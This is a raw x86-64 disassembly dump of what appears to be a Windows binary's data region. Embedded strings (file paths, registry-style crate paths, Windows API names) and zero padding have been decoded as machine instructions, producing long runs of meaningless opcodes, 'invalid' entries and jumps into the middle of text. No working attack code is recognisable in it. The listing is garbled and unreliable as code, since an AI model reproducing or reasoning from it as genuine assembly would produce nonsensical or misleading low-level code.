jb 0x1401425cb
imul ebp, dword [rbp + riz*2 + 0x72], 0x69617254
insb byte [rdi], dx
jb 0x1401425c2
push rsp
jb 0x1401425d2
imul ebp, dword [rbp + riz*2 + 0x72], 0x6e45664c
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jb 0x1401425c2
outsb dx, byte [rsi]
outsb dx, byte [rsi]
outsb dx, byte fs:[rsi]
outsb dx, byte [rsi]
cmp bl, byte fs:[r13 + r10*2 + 0x73]
jb 0x1401425ff
pop rsp
push rbp
jae 0x1401425f5
jb 0x1401425ee
invalid
imul esi, dword [rbx + 0x74], 0x735c7972
jns 0x1401425fe
jae 0x140142616
jb 0x140142608
invalid
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x140142610
je 0x140142616
jae 0x1401425e1
imul ebp, dword cs:[rdi + 0x2d], 0x37316636
imul ebp, dword [rdi + 0x2d], 0x37316636
sub eax, 0x37316636
xor dh, byte fs:[rdx]
invalid
xor ah, byte [rdx + 0x62]
invalid
xor byte [rax], dh
xor dword [rsi + 0x5c], esp
xor byte [rcx], dh
pop sp
invalid
jae 0x1401425fa
xor dword [rsi], ebp
xor eax, 0x735c302e
jb 0x140142639
pop rsp
jae 0x140142647
invalid
pop rsp
invalid
jae 0x140142644
jae 0x140142658
jb 0x14014265c
imul ebp, dword [rdi + 0x6e], 0x69616620
insb byte [rdi], dx
cmp ah, byte fs:[rax]
invalid
imul ebp, dword [rbp + riz*2 + 0x64], 0x6e63203a
outsb dx, byte [rsi]
je 0x140142618
cmp al, 0x3d
and byte [rbx + 0x65], dh
insb byte [rdi], dx
insb byte [rdi], dx
insb byte [rdi], dx
imul ebp, dword [rbp + 0x69], 0x74
test byte [0x140156622], ah
add byte [rax], al
pop rsi
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + 0x9000000], cl
add byte [rax], al
add byte [rcx + 0x6e], cl
outsb dx, byte [rsi]
add byte [rax], al
pop qword [rax]
add byte [rax], al
or dword [rax], eax
add byte [rax], al
outsb dx, byte [rsi]
invalid
invalid
cmp al, 0x3d
and byte [rbx + 0x65], dh
jae 0x1401426ae
insb byte [rdi], dx
invalid
sub byte gs:[rcx], ch
insb byte [rdi], dx
outsb dx, byte gs:[rsi]
sub byte [rcx], ch
and byte [rcx + 0x73], ah
and byte [rbp + 0x36], dh
xor al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
fsub dword [rsp + rdx]
add dword [rax], eax
add byte [rax], al
add byte fs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], dl
add al, 0
add byte [rcx], cl
add byte [rax], al
add al, bl
and al, 0x14
add dword [rax], eax
add byte [rax], al
add byte fs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rax + 0x1f0000], cl
add byte [rax], al
push 0x6f6b6365
jne 0x14014271c
jae 0x1401426ee
insb byte [rdi], dx
outsd dx, dword [rsi]
jae 0x140142714
jb 0x140142725
jb 0x140142725
outsd dx, dword [rsi]
jb 0x1401426fc
outsd dx, dword [rsi]
jb 0x14014271c
je 0x140142731
jo 0x140142732
jne 0x140142736
push rbp
jb 0x14014272e
outsd dx, dword [rsi]
je 0x140142711
je 0x14014273f
jo 0x140142740
add byte [rax], al
add byte [rcx + 0x140140a], ah
add byte [rax], al
add byte [rdi], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub al, 1
add byte [rax], al
adc al, 0
add byte [rax], al
push rbx
outsb dx, byte gs:[rsi]
jb 0x140142761
jb 0x14014275f
outsd dx, dword [rsi]
jb 0x1401426f2
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp cl, ah
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rcx], ch
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
imul eax, dword [rax], 0
add byte [rax], al
pop rdx
add al, 0
add byte [rsi], al
add byte [rax], al
cmp bl, byte [r13 + r10*2 + 0x73]
cmp bl, byte [rbp + rdx*2 + 0x73]
jae 0x14014277b
jb 0x14014278b
jb 0x14014278b
pop rsp
push rbp
jae 0x140142781
jb 0x14014277a
invalid
jb 0x14014278c
imul esi, dword [ebx + 0x74], 0x735c7972
jb 0x140142794
jae 0x1401427a2
invalid
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
jb 0x14014279c
js 0x140142766
invalid
je 0x1401427a2
jae 0x14014276d
imul ebp, dword [rdi + 0x2d], 0x37316636
outsd dx, dword [rsi]
sub eax, 0x37316636
xor dh, byte fs:[rdx]
invalid
cmp byte [rbx + rsi*2 + 0x72], bl
jae 0x1401427d5
invalid
outsd dx, dword [rsi]
insd dword [rdi], dx
insd dword [rdi], dx
outsd dx, dword [rsi]
outsb dx, byte [rsi]
pop rsp
invalid
jne 0x1401427d5
jb 0x1401427e5
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc byte [rdi], ah
adc al, 0x40
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rcx], dh
add byte [rax], al
add byte [rax], dl
invalid
xor dword [rax], eax
add byte [rax], al
adc byte [rdi], ah
adc al, 0x40
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
sub eax, 0x2b000000
add byte [rax], al
add byte [rbx + 0x3a], al
cmp bl, byte [r13 + r10*2 + 0x73]
invalid
add byte [rax], al
sub eax, dword [rax]
add byte [rax], al
cmp bl, byte [r13 + r10*2 + 0x73]
jb 0x140142823
jb 0x140142823
pop rsp
push rbp
jae 0x140142819
jb 0x140142812
invalid
jae 0x140142805
imul ebp, dword [rdi + 0x2d], 0x37316636
xor dh, byte fs:[rdx]
invalid
xor eax, 0x66313030
pop rsp
invalid
jb 0x14014287a
add byte [rax + 0x1401427], ch
add byte [rax], al
add byte [rdi], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
stosb byte [rdi], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x2d000000], ch
add byte [rax], al
add byte [rax + 0x1401427], ch
add byte [rax], al
add byte [rdi], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov al, byte [rax]
add byte [rax], al
cmp al, 0
add byte [rax], al
or al, 0x23
add byte [rax], al
add byte [0xe8142821], ch
invalid
add dword [rax], eax
add byte [rax], al
pop rdi
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x3c000000], cl
add byte [rax], al
add byte [rbx + riz], cl
adc al, 0x40
add dword [rax], eax
add byte [rax], al
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 1], dl
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
or al, 0x23
adc al, 0x40
add dword [rax], eax
add byte [rax], al
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], bh
add dword [rax], eax
add byte [rcx], ah
add byte [rax], al
add byte [rbx + riz], cl
adc al, 0x40
add dword [rax], eax
add byte [rax], al
add byte gs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx], bh
add dword [rax], eax
add byte [rax + rax], ch
add byte [rax], al
sub al, 0
add byte [rax], al
invalid
insd dword [rdi], dx
jo 0x1401449b0
jns 0x140144987
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x1401449a2
insb byte [rdi], dx
imul esp, dword [rsp + rax*2 + 0x69], 0x50746967
push rax
push rax
outsd dx, dword [rsi]
jae 0x14014499c
jbe 0x1401449b4
jb 0x1401449b7
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x1401449a3
invalid
jbe 0x1401449bf
jbe 0x1401449bf
jb 0x1401449c2
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x1401449ba
pop rdx
pop rdx
jb 0x1401449d2
push rax
invalid
add byte [rax], dh
or dword [rax + rax*2], 1
add byte [rax], al
add al, dl
mov edx, 0x1400c
add byte [rax], al
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
and bl, ch
or al, 0x40
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], ah
jmp 0x1401449b7
invalid
add dword [rax], eax
add byte [rax], al
in al, dx
add byte [rax - 0x14], al
or al, 0x40
add dword [rax], eax
add byte [rax], al
invalid
add byte [rdi], ch
invalid
jb 0x140144a38
jne 0x140144a37
jae 0x140144a39
je 0x1401449f5
invalid
jo 0x140144a3d
pop rsp
jb 0x140144a42
insd dword [rdi], dx
invalid
add byte [rax], al
add byte [rsi], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [0x14b144a05], bh
add byte [rax], al
add al, al
adc al, 0x40
add dword [rax], eax
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx], bh
add byte [rax], al
add byte [rbx], cl
add byte [rax], al
add al, al
adc al, 0x40
add dword [rax], eax
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], dh
add byte [rax], al
add byte [rbx], cl
add byte [rax], al
add al, al
ror byte [rcx + 0x14], 0x40
adc al, 0x40
add dword [rax], eax
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rsi], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], ah
add byte [rax], al
sbb al, 0
add byte [rax], al
ror byte [rcx + 0x14], 0x40
add dword [rax], eax
add byte [rax], al
add byte cs:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], ch
add byte [rax], al
invalid
outsd dx, dword [rsi]
je 0x14014af82
outsd dx, dword [rsi]
jne 0x14014afad
push rax
push rax
jb 0x14014afb1
imul esi, dword [rbx + 0x73], 0x446e6f69
outsb dx, byte gs:[rsi]
imul esp, dword [rbp + 0x64], 0x6e6e6f43
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
jae 0x14014afe8
push rbp
outsb dx, byte [rsi]
jb 0x14014afdd
invalid
je 0x14014affa
ja case.0x1400d6a30.14
outsd dx, dword [rsi]
jb 0x14014aff1
push rbp
outsb dx, byte [rsi]
jb 0x14014afef
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsd dx, dword [rsi]
je case.0x1400d6a30.13
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
jb 0x14014affc
jb 0x14014affc
jb 0x14014affc
outsb dx, byte [rsi]
push rbp
jae 0x14014b01c
jb 0x14014b00a
outsd dx, dword [rsi]
je case.0x1400d6a30.15
jbe 0x14014b022
imul ebp, dword [rcx + riz*2 + 0x62], 0x654e656c
je 0x14014b042
je 0x14014b042
outsd dx, dword [rsi]
jb 0x14014b039
outsd dx, dword [rsi]
ja 0x14014b040
jb 0x14014b044
imul esp, dword [rbp + 0x6e], 0x50
imul esi, dword [rax + 0x65], 0x65726c41
insb byte [rdi], dx
jb 0x14014b045
insb byte [rdi], dx
insb byte [rdi], dx
jb 0x14014b045
invalid
jae 0x14014b041
push rdi
outsd dx, dword [rsi]
jne 0x14014b059
insb byte [rdi], dx
insb byte [rdi], dx
outsd dx, dword [rsi]
invalid
outsd dx, dword [rsi]
je 0x14014b038
imul r14d, dword [rdx + 0x65], 0x726f7463
jns 0x14014b04a
invalid
invalid
je 0x14014b06d
jb 0x14014b079
jae 0x14014b044
jae 0x14014b044
imul r14d, dword [rdx + 0x65], 0x726f7463
jns 0x14014b051
invalid
jb 0x14014b085
imul r14d, dword [rdx + 0x65], 0x726f7463
imul esi, dword [rdx + 0x65], 0x726f7463
jns 0x14014b064
outsd dx, dword [rsi]
je 0x14014b05e
insd dword [rdi], dx
jo 0x14014b090
jns 0x14014b070
push rdx
invalid
outsb dx, byte [rsi]
insb byte [rdi], dx
jns 0x14014b06c
imul ebp, dword [rbp + riz*2 + 0x73], 0x65747379
insd dword [rdi], dx
imul r13d, dword [rbp + r12*2 + 0x73], 0x65747379
insd dword [rdi], dx
outsd dx, dword [rsi]
outsd dx, dword [rsi]
jo case.0x1400d6a30.26
push rbx
push rbx
je 0x14014b0a1
insb byte [rdi], dx
je 0x14014b0bd
je 0x14014b0bd
je 0x14014b0bd
ja 0x14014b0b6
outsd dx, dword [rsi]
jb case.0x1400d6a30.28
imul r13d, dword [rbp + r12*2 + 0x48], 0x6c646e61
imul ebp, dword [rbp + riz*2 + 0x48], 0x6c646e61
insb byte [rdi], dx
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
jbe 0x14014b0b8
insb byte [rdi], dx
imul esp, dword [rcx + rcx*2 + 0x6e], 0x49747570
invalid
outsb dx, byte fs:[rsi]
jo 0x14014b0d3
je 0x14014b0a9
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x14014b0c4
insb byte [rdi], dx
imul esp, dword [rsp + rax*2 + 0x61], 0x69546174
push rsp
imul ebp, dword [rbp + 0x65], 0x74754f64
insd dword [rdi], dx
jne 0x14014b0e6
push rdi
jb 0x14014b0de
je 0x14014b0dc
pop rdx
jb 0x14014b0ea
jb 0x14014b0ea
push rbx
je 0x14014b0ed
jb 0x14014b0e1
jne 0x14014b0f1
insb byte [rdi], dx
outsd dx, dword [rsi]
je 0x14014b0dd
imul r13d, dword gs:[rbp + r12*2 + 0x73], 0x65747379
imul r13d, dword [rbp + r12*2 + 0x73], 0x65747379
insd dword [rdi], dx
push rcx
jne 0x14014b10d
je 0x14014b101
js 0x14014b106
js 0x14014b106
imul r13d, dword fs:[rbp + r12*2 + 0x54], 0x614c6f6f
imul r13d, dword [rbp + r12*2 + 0x54], 0x614c6f6f
imul ebp, dword [rbp + riz*2 + 0x54], 0x614c6f6f
jb 0x14014b11a
push rdx
push rdx
jae 0x14014b127
jae 0x14014b127
jne case.0x1400d6a30.37
jne 0x14014b132
jns 0x14014b106
js 0x14014b128
js 0x14014b128
invalid
jne 0x14014b13a
invalid
invalid
jb 0x14014b14c
outsd dx, dword [rsi]
jae 0x14014b152
jae 0x14014b145
jae 0x14014b126
jae 0x14014b126
jbe 0x14014b14e
jbe 0x14014b14e
invalid
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
invalid
outsb dx, byte [rsi]
jns 0x14014b13c
imul ebp, dword [rsi + 0x6b], 0x766e4973
invalid
outsb dx, byte [rsi]
imul esi, dword [rbx + 0x49], 0x6e
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x14014b159
insb byte [rdi], dx
imul esp, dword [rsi + rax*2 + 0x69], 0x616e656c
insd dword [rdi], dx
jb 0x14014b16d
jb 0x14014b16d
jb 0x14014b16d
jne 0x14014b175
outsb dx, byte gs:[rsi]
je 0x14014b158
imul esi, dword [rbx + 0x74], 0x4c6f6f54
outsd dx, dword [rsi]
jae 0x14014b183
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [esi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
je 0x14014b17f
jb 0x14014b18e
jne 0x14014b18e
je 0x14014b185
push rbp
outsb dx, byte [rsi]
jae 0x14014b19a
jo 0x14014b197
jo 0x14014b197
outsd dx, dword [rsi]
jb 0x14014b19e
push rbp
outsb dx, byte [rsi]
js 0x14014b1a1
invalid
invalid
jne 0x14014b1b0
insw word [rdi], dx
outsd dx, dword [rsi]
jb 0x14014b1bd
je 0x14014b1af
je 0x14014b1af
jb 0x14014b19f
push rbp
outsb dx, byte [rsi]
invalid
invalid
outsd dx, dword gs:[esi]
jb 0x14014b1bc
imul edi, dword [rdx + 0x65], 0x3000064
add eax, dword [rcx]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
imul r13d, dword [rbp + r12*2 + 0x70], 0x2a687461
invalid
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x69], al
invalid
invalid
insb byte [rdi], dx
jo 0x14014b1cf
invalid
je 0x14014b1d8
sub ah, byte [rsi + 0x61]
je 0x14014b1d6
insb byte [rdi], dx
and byte [rdx + 0x75], dh
outsb dx, byte [rsi]
je 0x14014b1e5
insd dword [rdi], dx
and byte gs:[rbp + 0x72], ah
jb 0x14014b1f2
jb 0x14014b1f4
outsd dx, dword [rsi]
jb 0x14014b1bf
and byte [rcx + 0x2f], cl
and byte [r13 + 0x72], r12b
jb 0x14014b1fd
jb 0x14014b1ca
and byte [rdi + 0x70], ch
jb 0x14014b1f7
imul ebp, dword [rdi + 0x6e], 0x69616620
insb byte [rdi], dx
and byte [rsi + 0x61], ah
imul ebp, dword [rbp + riz*2 + 0x64], 0x206f7420
and byte fs:[rdi + rbp*2 + 0x20], dh
and byte [rdi + rbp*2 + 0x20], dh
invalid
jns 0x14014b21f
outsb dx, byte [rsi]
invalid
add byte [rax], al
add byte [rcx - 0x4f], dh
adc al, 0x40
add dword [rax], eax
add byte [rax], al
add byte [r8], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
insb byte [rdi], dx
imul esp, dword [rdx + 0x72], 0x5c797261
add byte [rcx + rbp*2 + 0x62], ch
insb byte [rdi], dx
invalid
invalid
jb 0x14014b236
jb 0x14014b250
jns 0x14014b234
pop rsp
jae 0x14014b24e
invalid
jb 0x14014b269
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
sal byte [rcx + 0x14014], 1
add byte [rax], al
add al, dl
mov cl, 0x14
add dword [rax], eax
add byte [rax], al
add byte es:[rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx], ch
add byte [rax], al
add byte [rcx], cl
add byte [rax], al
add byte [rsi], cl
push rsp
add byte [rax + rax + 0x4c], al
invalid
invalid
invalid
add byte [rax + rax + 0x2e], cl
add byte [rax + rax + 0x4c], al
add byte [rax + rax], cl
add byte [rdi + 0x53], cl
push r11
and byte [rbp + 0x72], al
jb 0x14014b2a2
jb 0x14014b255
and byte [rax], ah
sub byte [rsi + 0x6f], al
jb 0x14014b2a8
invalid
and byte [rbp + 0x72], ah
jb 0x14014b2c4
mov dl, 0x14
add dword [rax], eax
add byte [rax], al
and al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
js 0x14014b25a
outsb dx, byte [rsi]
outsd dx, dword fs:[rsi]
ja 0x14014b31a
outsd dx, dword [rsi]
jae 0x14014b2d9
insd dword [rdi], dx
jo 0x1401734ea
jns 0x1401734c0
outsd dx, dword [rsi]
jae 0x1401734ef
outsb dx, byte fs:[rsi]
invalid
outsb dx, byte [rsi]
jbe 0x1401734e9
insb byte [rdi], dx
imul esp, dword [rax + rdx*2 + 0x6f], 0x6e497472
outsb dx, byte [rsi]
outsb dx, byte [rsi]
jbe 0x1401734f4
insb byte [rdi], dx
imul esp, dword [rcx + rcx*2 + 0x70], 0x64413476
jb 0x140173504
jae 0x140173514
outsb dx, byte [rsi]
jbe 0x140173506
insb byte [rdi], dx
imul esp, dword [rcx + rcx*2 + 0x70], 0x64413676
jb 0x140173516
jae 0x140173526
outsb dx, byte [rsi]
jbe case.0x140046cd8.22
insb byte [rdi], dx
imul esp, dword [rsp + rax*2 + 0x6f], 0x6e69616d
push 0x63617261
je 0x14017352d
jb 0x14017351c
push rdx
insb byte [rdi], dx
invalid
push rdx
insb byte [rdi], dx
invalid
insb byte [rdi], dx
push rdi
imul esi, dword [rax + rbp*2 + 0x43], 0x6f6e6e61
je 0x140173537
invalid
invalid
invalid
push rbx
je 0x14017354b
outsd dx, dword [rsi]
jae 0x14017357a
outsb dx, byte [rsi]
invalid
push rbp
jb 0x140173584
jbe 0x140173580
jb 0x140173583
insb byte [rdi], dx
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x14017358a
outsb dx, byte [rsi]
je 0x140173589
jb 0x140173594
invalid
jb 0x140173569
and byte [rbp + 0x6e], ah
je 0x140173599
jb 0x14017359b
and byte fs:[rbp + 0x6e], dh
and byte [rbp + 0x6e], dh
jb 0x1401735a1
invalid
outsb dx, byte [rsi]
imul ebp, dword [rsi + 0x6f], 0x77
outsb dx, byte [rsi]
and byte [rbx + 0x74], dh
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x3a], al
cmp bl, byte [r13 + r10*2 + 0x73]
invalid
jb 0x1401735eb
pop rsp
push rbp
jae 0x1401735e1
jb 0x1401735da
invalid
invalid
outsd dx, dword [rsi]
pop rsp
jb 0x1401735ec
imul esi, dword [ebx + 0x74], 0x735c7972
jb 0x1401735f4
jae 0x1401735ff
je 0x1401735fe
jb 0x140173606
jns 0x1401735ea
pop rsp
jae 0x140173602
invalid
pop rsp
imul ebp, dword [rsi + 0x64], 0x632e7865
js 0x1401735c6
invalid
jb 0x1401735fc
je 0x140173602
jae 0x1401735cd
imul ebp, dword [rdi + 0x2d], 0x37316636
sub eax, 0x37316636
xor dh, byte fs:[rdx]
invalid
jb 0x14017363b
jo 0x1401735ff
invalid
add byte [rax], al
add byte [rax], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
movsb byte [rdi], byte [rsi]
add byte [rax], al
add byte [rax], al
adc al, byte [rax]
add byte [rax], al
rol byte [rax + rax + 0x40], 1
add byte [rdx], dl
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dh
adc edx, dword [rax]
add dword [rax], eax
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
xor byte [rbx], dl
adc byte [rax + 1], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
nop
adc edx, dword [rax]
add dword [rax], eax
add byte [rax + 0x1401013], dl
adc byte [rax + 1], al
add byte [rax], al
add al, al
invalid
add byte [rax], al
ror byte [rsi], 0x10
add dword [rax], eax
add byte [rax], al
adc byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
ror byte [rsi], 1
adc byte [rax + 1], al
add byte [rax], al
add al, al
add byte [rax + 1], r8b
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1400fed], dh
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x6f], ah
invalid
outsd dx, dword [rsi]
insd dword [rdi], dx
invalid
adc al, 0x40
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x20], cl
and byte [rax + rax*2], dl
and byte [rax + rax*2], dl
adc al, 0x40
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x20], bl
pop rbx
and byte [rax + rax*2], dl
adc al, 0x40
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax + 0x20], ch
push 0x1401420
and byte [rax + rax*2], dl
adc al, 0x40
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax + 0x20], dh
jo 0x140174ab2
add byte [rax], al
jo 0x140174ab2
and byte [rax + rax*2], dl
adc al, 0x40
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
test dword [rax], esp
and byte [rax + rax*2], dl
and byte [rax + rax*2], dl
add dword [rax], eax
add byte [rax], al
xchg edi, eax
and byte [rax + rax*2], dl
add dword [rax], eax
add byte [rax], al
cmpsd dword [rsi], dword [rdi]
and byte [rax + rax*2], dl
add dword [rax], eax
add byte [rax], al
ret
adc al, 0x40
add dword [rax], eax
add byte [rax], al
frstor dword [rax]
adc al, 64
add dword [rax], eax
add byte [rax], al
int1
and byte [rax + rax*2], dl
add dword [rax], eax
add byte [rax], al
or dword [rcx], esp
adc al, 64
add dword [rax], eax
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
adc al, 0x40
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rbx - 0x3a], al
invalid
invalid
adc al, byte [rax + 1]
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rbx - 0x3a], dl
push rbx
invalid
adc al, byte [rax + 1]
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdx - 0x3a], bl
pop rdx
invalid
adc al, byte [rax + 1]
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add byte [rsi + rax*8 + 0x12], ch
add byte [rax], al
insb byte [rdi], dx
invalid
adc al, byte [rax + 1]
add byte [rax], al
add byte [rsi + rax*8 + 0x14012], al
add byte [rax], al
xchg edi, eax
invalid
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
test dh, al
adc al, byte [rax + 1]
add byte [rax], al
add byte [rdi + 0x14012c6], dl
add byte [rax], al
add byte [rax + 0x14012c6], ah
add byte [rax], al
add byte [rbp + 0x14012c6], ch
add byte [rax], al
add byte [0x140174b95], al
add byte [rax], al
add byte [rax + rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
sbb al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc dh, al
adc al, byte [rax + 1]
add byte [rax], al
add byte [0x141575e7b], dl
add byte [rax], al
add byte [rcx], ch
invalid
invalid
add byte [rax], al
add byte [rax], dl
adc dh, al
adc eax, dword [rax + 1]
invalid
invalid
invalid
add dword [rax], eax
add byte [rax], al
add byte [rdi], dl
invalid
invalid
add byte [rax], al
invalid
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], cl
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
or eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x34], dh
invalid
or dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
or eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid